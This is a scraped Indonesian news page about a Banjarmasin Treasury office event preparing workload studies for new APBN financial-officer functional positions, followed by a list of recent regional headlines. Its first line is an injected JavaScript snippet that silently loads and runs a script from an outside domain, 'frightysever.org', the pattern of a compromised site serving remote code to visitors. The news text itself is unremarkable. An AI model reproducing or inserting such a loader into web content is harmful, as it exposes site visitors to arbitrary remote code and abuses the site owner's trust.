(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pra Uji Petik Jabatan Fungsional Pranata Keuangan APBN dan Asisten Pranata Keuangan


BANJARMASIN,  Profesionalitas pengelolaan pembendaharaan negara dalam prinsip good governance menghendaki adanya sumberdaya manusia yang memiliki kapabilitas memadai dalam bidang perbendaharaan negara. Prinsip tersebut diimplementasikan dengan adanya jenjang karir bagi begawai di lingkungan Ditjen Perbendaharaan.

Hal tersebut diasmpaikan disampaikan Kakanwil Ditjen Perbendaharaan Kalsel Usdek Rahyono dalam kegiatan Pra Uji Petik Jabatan Fungsional Pranata Keuangan APBN dan Asisten Pranata Keuangan APBN, Jumat (15/12) di aula Departemen Keuangan RI Kanwil Banjarmasin. Kegiatan yang dihadiri 41 stake holder bidang keuangan ini terkait dengan penyusunan naskah akademik jabatan fungsional pranata keuangan APBN dan asisten pranata keuangan APBN.

“Tujuannya adalah penyempurnaan butir-butir kegiatan, perolehan data perhitungan jam kerja per tahun, dan juga persiapan tahapan uji petik tahun 2018,” jelasnya.

Studi beban kerja dalam uji petik jabatan fungsionan yaitu mendapatkan volume dan dan waktu kerja. Yakni menentukan waktu kerja efektif (1,250 jam/tahun), dan menetapkan besaran angka kredit. Hal ini, tentunya memerlukan pengenalan atau konfirmasi kepada pegawai yang telah melakukan kegiatan atau yang akan dijadikan jabatan fungsional

“Kita sedang mengusulkan ke MENPAN, suatu jabatan fungsional di bidang pembendaharaan jadi di situ nanti ada pejabat penandatanganan SPN, kemudian pembuat laporan kita usulkan menjadi suatu jabatan fungsional karena selama ini belum punya jabatan hanya sekedar tugas harian. Nantinya kalau sudah menjadi jabatan fungsional akan mendapat tunjangan fungsional sebagai jenjang karir,” ujar Usdek.

Dalam kesempatan tersebut disampaikan, mestinya dalam satu tahun ASN harusnya memiliki jam kerja 1,762,5 jam. Namun faktanya,  ASN memiliki jam kerja efektif perhari hanya 5,25 dengan perhari, atau dengan pembulatan 5,30 jam saja.

“ Dalam UUD ASN, setiap Aparatur Sipil Negara di tuntut memiliki standar kompetensi, kapasitas pendidikan, dan terkait kode etik. Hal inii sejalan dengan semangat reformasi pengelolaan keuangan republik Indonesia bahwa setiap pengelola keuangan di tuntut untuk berkomitmen dan berkompeten menjadi pengelola keuangan yang profesional,” ujarnya. (devi)

 

Reporter : Devi
Editor : >b>Cella

Desy Arfianty

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

2 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

5 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

9 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

12 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

14 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

14 jam ago

This website uses cookies.